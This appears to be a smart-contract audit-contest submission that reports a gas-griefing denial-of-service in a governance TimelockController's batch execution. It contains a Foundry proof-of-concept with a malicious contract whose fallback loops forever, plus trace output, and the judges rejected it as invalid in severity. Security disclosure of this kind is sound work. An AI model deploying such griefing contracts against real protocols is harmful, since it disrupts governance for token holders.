Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

DoS Vulnerability in TimelockController's executeBatch() Function

Summary

The `executeBatch()` function in the `TimelockController` is vulnerable to gas griefing. A malicious target with a `fallback` function that consumes excessive gas can block or revert the batch execution, effectively causing a denial-of-service (DoS).

Vulnerability Details

Within the `executeBatch()` function, external calls are made sequentially in a loop:
```solidity
for (uint256 i = 0; i < targets.length; i++) {
(bool success, bytes memory returndata) = targets[i].call{value: values[i]}(calldatas[i]);
if (!success) {
revert CallReverted(id, i);
}
}
```
If one of the target addresses is a contract with a malicious `fallback` function designed to consume an excessive amount of gas (e.g., via an infinite loop), the entire batch execution will fail due to an out-of-gas error and that'll stop other proposal from beinng executed.
### Proof of Concept
The following unit test demonstrates the vulnerability using a malicious contract (MaliciousGriefer) with a fallback function that consumes infinite gas:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../contracts/core/tokens/veRAACToken.sol";
import "../../../../contracts/core/governance/proposals/Governance.sol";
import "../../../../contracts/core/governance/proposals/TimelockController.sol";
import "../../../../contracts/interfaces/core/governance/proposals/IGovernance.sol";
// Mock RAAC token for voting power (not necessarily minted in proposals)
contract MockRAAC is ERC20 {
constructor() ERC20("Mock RAAC", "RAAC") {
_mint(msg.sender, 2_200_000 * 10 ** 18); // Enough for proposers and voters
}
}
// Malicious contract to demonstrate gas griefing
contract MaliciousGriefer {
fallback() external payable {
while (true) {
assembly { sstore(0, 1) } // Infinite gas consumption
}
}
}
contract GovernanceTest is Test {
Governance governance;
veRAACToken veToken;
TimelockController timelock;
MockRAAC raac;
MaliciousGriefer griefer;
address admin = address(this);
address[] proposers;
address[] executors;
address[] voters;
uint256 constant ONE_DAY = 1 days;
uint256 constant SEVEN_DAYS = 7 days;
function setUp() public {
// Deploy MockRAAC and veRAACToken
raac = new MockRAAC();
veToken = new veRAACToken(address(raac));
griefer = new MaliciousGriefer();
// Initialize 5 proposers and 5 executors
for (uint256 i = 0; i < 5; i++) {
proposers.push(address(uint160(i + 1)));
executors.push(address(uint160(i + 6)));
}
// Initialize 20 voters
for (uint256 i = 0; i < 20; i++) {
voters.push(address(uint160(i + 11)));
}
// Deploy TimelockController with 2-day delay
timelock = new TimelockController(2 days, proposers, executors, admin);
// Deploy Governance contract
governance = new Governance(address(veToken), address(timelock));
// Grant roles to Governance contract in Timelock
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governance));
// Fund TimelockController with ETH for transfers
vm.deal(address(timelock), 10 ether);
// Distribute RAAC tokens and lock them for voting power
for (uint256 i = 0; i < proposers.length; i++) {
raac.transfer(proposers[i], 400_000 * 10 ** 18); // 400K RAAC
vm.startPrank(proposers[i]);
raac.approve(address(veToken), 400_000 * 10 ** 18);
veToken.lock(400_000 * 10 ** 18, 365 days); // Assume 1-year lock for voting power
vm.stopPrank();
}
for (uint256 i = 0; i < voters.length; i++) {
raac.transfer(voters[i], 10_000 * 10 ** 18); // 10K RAAC
vm.startPrank(voters[i]);
raac.approve(address(veToken), 10_000 * 10 ** 18);
veToken.lock(10_000 * 10 ** 18, 365 days);
vm.stopPrank();
}
}
// Helper function to create a proposal (transfer ETH to a voter)
function _createProposal(address proposer_) internal returns (uint256) {
vm.startPrank(proposer_);
address[] memory targets = new address[](1);
targets[0] = voters[0]; // Target: a voter receives ETH
uint256[] memory values = new uint256[](1);
values[0] = 1 ether; // Sending 1 ETH
bytes[] memory calldatas = new bytes[](1);
calldatas[0] = ""; // Empty calldata for ETH transfer
string memory description = "Send 1 ETH to voter";
IGovernance.ProposalType proposalType = IGovernance.ProposalType.ParameterChange;
uint256 proposalId = governance.propose(targets, values, calldatas, description, proposalType);
vm.stopPrank();
return proposalId;
}
function testGasGriefingInExecuteBatch() public {
// Step 1: Create a proposal with a malicious target
vm.startPrank(proposers[0]);
address[] memory targets = new address[](3);
targets[0] = voters[0]; // Legitimate target: receives 1 ETH
targets[1] = address(griefer); // Malicious target: gas griefer
targets[2] = voters[1]; // Legitimate target: receives 1 ETH
uint256[] memory values = new uint256[](3);
values[0] = 1 ether;
values[1] = 0; // No ETH to griefer, just trigger fallback
values[2] = 1 ether;
bytes[] memory calldatas = new bytes[](3);
calldatas[0] = ""; // Empty: ETH transfer
calldatas[1] = ""; // Empty: Triggers griefer fallback
calldatas[2] = ""; // Empty: ETH transfer
uint256 proposalId = governance.propose(
targets,
values,
calldatas,
"Test gas griefing",
IGovernance.ProposalType.ParameterChange
);
vm.stopPrank();
// Step 2: Vote to make it Succeeded
vm.warp(block.timestamp + ONE_DAY + 1);
for (uint256 i = 0; i < 10; i++) {
vm.startPrank(voters[i]);
governance.castVote(proposalId, true);
vm.stopPrank();
}
// Step 3: Warp to Succeeded state
vm.warp(block.timestamp + SEVEN_DAYS);
assertEq(
uint256(governance.state(proposalId)),
uint256(IGovernance.ProposalState.Succeeded),
"State should be Succeeded"
);
// Step 4: Queue the proposal
vm.prank(proposers[0]);
governance.execute(proposalId);
assertEq(
uint256(governance.state(proposalId)),
uint256(IGovernance.ProposalState.Queued),
"State should be Queued"
);
// Step 5: Warp past timelock delay and attempt execution
vm.warp(block.timestamp + 2 days + 1);
uint256 initialBalanceVoter0 = voters[0].balance;
uint256 initialBalanceVoter1 = voters[1].balance;
// Expect failure due to gas griefing (out of gas)
vm.expectRevert();
vm.prank(proposers[0]);
// Set a gas limit to simulate realistic conditions (e.g., 1M gas)
governance.execute{gas: 1_000_000}(proposalId);
assertEq(
voters[1].balance,
initialBalanceVoter1,
"Second target should not receive ETH due to gas griefing"
);
}
}
```
the output
```yaml
├─ [0] VM::prank(ECRecover: [0x0000000000000000000000000000000000000001])
│ └─ ← [Return]
├─ [971670] Governance::execute(0)
│ ├─ [512] veRAACToken::getTotalVotingPower() [staticcall]
│ │ └─ ← [Return] 550000000000000000000000 [5.5e23]
│ ├─ [6448] TimelockController::hashOperationBatch([0x000000000000000000000000000000000000000b, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x000000000000000000000000000000000000000C], [1000000000000000000 [1e18], 0, 1000000000000000000 [1e18]], [0x, 0x, 0x], 0x0000000000000000000000000000000000000000000000000000000000000000, 0xf0aa4a9e5b8e72996d6cd209c5d7794e1767f23e7ab6352ad92e75735613eafa) [staticcall]
│ │ └─ ← [Return] 0x662d0f2ba94c17f3e527b2d6f24121a06d2409ffc2db91b8ba1969f80c0c2376
│ ├─ [1127] TimelockController::isOperationPending(0x662d0f2ba94c17f3e527b2d6f24121a06d2409ffc2db91b8ba1969f80c0c2376) [staticcall]
│ │ └─ ← [Return] true
│ ├─ [6448] TimelockController::hashOperationBatch([0x000000000000000000000000000000000000000b, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x000000000000000000000000000000000000000C], [1000000000000000000 [1e18], 0, 1000000000000000000 [1e18]], [0x, 0x, 0x], 0x0000000000000000000000000000000000000000000000000000000000000000, 0xf0aa4a9e5b8e72996d6cd209c5d7794e1767f23e7ab6352ad92e75735613eafa) [staticcall]
│ │ └─ ← [Return] 0x662d0f2ba94c17f3e527b2d6f24121a06d2409ffc2db91b8ba1969f80c0c2376
│ ├─ [1528] TimelockController::isOperationReady(0x662d0f2ba94c17f3e527b2d6f24121a06d2409ffc2db91b8ba1969f80c0c2376) [staticcall]
│ │ └─ ← [Return] true
│ ├─ [924631] TimelockController::executeBatch([0x000000000000000000000000000000000000000b, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x000000000000000000000000000000000000000C], [1000000000000000000 [1e18], 0, 1000000000000000000 [1e18]], [0x, 0x, 0x], 0x0000000000000000000000000000000000000000000000000000000000000000, 0xf0aa4a9e5b8e72996d6cd209c5d7794e1767f23e7ab6352ad92e75735613eafa)
│ │ ├─ [0] 0x000000000000000000000000000000000000000b::fallback{value: 1000000000000000000}()
│ │ │ └─ ← [Stop]
│ │ ├─ [870411] MaliciousGriefer::fallback()
│ │ │ └─ ← [OutOfGas] EvmError: OutOfGas
│ │ └─ ← [Revert] CallReverted(0x662d0f2ba94c17f3e527b2d6f24121a06d2409ffc2db91b8ba1969f80c0c2376, 1)
│ └─ ← [Revert] CallReverted(0x662d0f2ba94c17f3e527b2d6f24121a06d2409ffc2db91b8ba1969f80c0c2376, 1)
├─ [0] VM::assertEq(0, 0, "Second target should not receive ETH due to gas griefing") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.80ms (10.07ms CPU time)
Ran 1 test suite in 1.71s (18.80ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```
In the test, a proposal is created with a batch that includes a call to MaliciousGriefer. When `executeBatch()` is called, the malicious fallback function causes an out-of-gas error, and the call reverts with a CallReverted error.
Test logs indicate that the execution failed due to the malicious contract, confirming that the batch operation will be disrupted by gas griefing.

Impact

Denial-of-Service: An attacker will insert a malicious target into the batch, causing the entire operation to revert and blocking legitimate proposals from being executed.
Operational Disruption: Governance actions and other critical operations relying on `executeBatch()` will be halted, undermining the protocol's reliability.
Security Risk: This vulnerability could be exploited to disrupt governance or critical financial operations, potentially allowing an attacker to manipulate or stall the system.

Tools Used

Manual Review and foundry

Recommendations

Isolate External Calls: Instead of executing all calls in a single loop, consider isolating each external call so that a failure in one does not block the others.
Gas Limits: Implement strict gas limits for each call to ensure that a single target cannot consume excessive gas.
Reentrancy and Fallback Mitigations: Consider using techniques such as using the call method with a limited gas stipend or leveraging external libraries to manage low-level calls safely.
Fallback Handling: Add logic to detect and skip targets that consistently consume excessive gas, or revert only the failing call rather than the entire batch operation.
Implementing these recommendations will help mitigate the risk of gas griefing and improve the robustness of the `executeBatch()` function.
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

osuolale Submitter
6 months ago
inallhonesty Lead Judge
6 months ago
inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!